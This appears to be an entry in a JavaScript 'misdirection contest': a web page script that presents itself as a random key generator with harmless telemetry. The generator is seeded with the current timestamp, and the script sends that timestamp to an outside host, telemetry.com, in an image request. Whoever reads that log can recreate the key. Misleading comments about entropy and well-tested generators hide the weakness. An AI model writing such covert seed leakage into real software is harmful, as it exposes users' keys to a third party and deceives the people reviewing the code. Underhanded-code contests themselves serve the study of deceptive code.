JavaScript Misdirection Contest #0
See http://misdirect.ion.land
HTML
<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->
<textarea oninput="generateKey()" id="user-input"></textarea>
<span id="result"></span>
<!-- DO NOT MODIFY THIS HTML, ONLY THE JAVASCRIPT PART -->
CSS
/* DO NOT MODIFY THIS CSS, ONLY THE JAVASCRIPT PART */
JavaScript
/**
* Linear congruential generator: https://en.wikipedia.org/wiki/Linear_congruential_generator
* Oldest (and thus most tested) class of random number generators.
*/
function LCG(value) {
return ((value * 1664525) + 1013904223) % Math.pow(2, 32);
}
/**
* Generate a random key using a LCG, measure how long it took
*/
function generateKey() {
var output = document.querySelector("#result");
var input = document.querySelector("#user-input");
var length = input.value.length;
// some initial checks
if (!length) { // empty input
output.innerHTML = "";
return;
}
if (output.innerHTML.length) { return; } // already generated
if (length < 4 || Math.random() < 0.8) { return; } // not enough entropy yet
// start telemetry
var start = Date.now();
// give it some good old linear congruential generator
var key = 0;
var rounds = 100000;
for (var i=0; i<rounds; i++) {
key = LCG(i ? key : start);
}
// end telemetry
var end = Date.now();
// log the telemetry data
var query = "start=" + start + "&end=" + end + "&rounds=" + rounds;
(new Image()).src = "//telemetry.com/log.php?" + query;
// output the key
output.innerHTML = key.toString(36) + key.toString(18);
}